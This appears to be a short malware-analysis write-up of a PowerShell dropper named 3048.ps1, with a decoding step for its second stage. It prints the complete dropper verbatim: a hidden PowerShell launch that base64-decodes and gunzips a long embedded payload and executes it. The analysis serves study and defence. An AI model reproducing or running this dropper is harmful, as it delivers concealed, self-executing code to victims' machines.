Dropper
3048.ps1
- Author
- Moise Medici
- Updated
- 13 Sept 2026 · Completed
- Difficulty
- Easy
- Platform
- Capabilities
- Tags
3048.ps1 Code Analysis
The file contains the following code:
if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''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''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);As often happens, the content of the file is an obfuscated string that gets executed. The execution is done through [System.Diagnostics.Process]::Start() on the variable $s, which is defined at the beginning of the line with the content of the deobfuscated string. The deobfuscation can be done by executing what the script itself runs: FromBase64String followed by GzipStream::Decompress.
From bash, running:
echo "<long string>" | base64 -d | gunzip > stage2.ps1This creates a file with the content of the string decoded from base64 and then decompressed.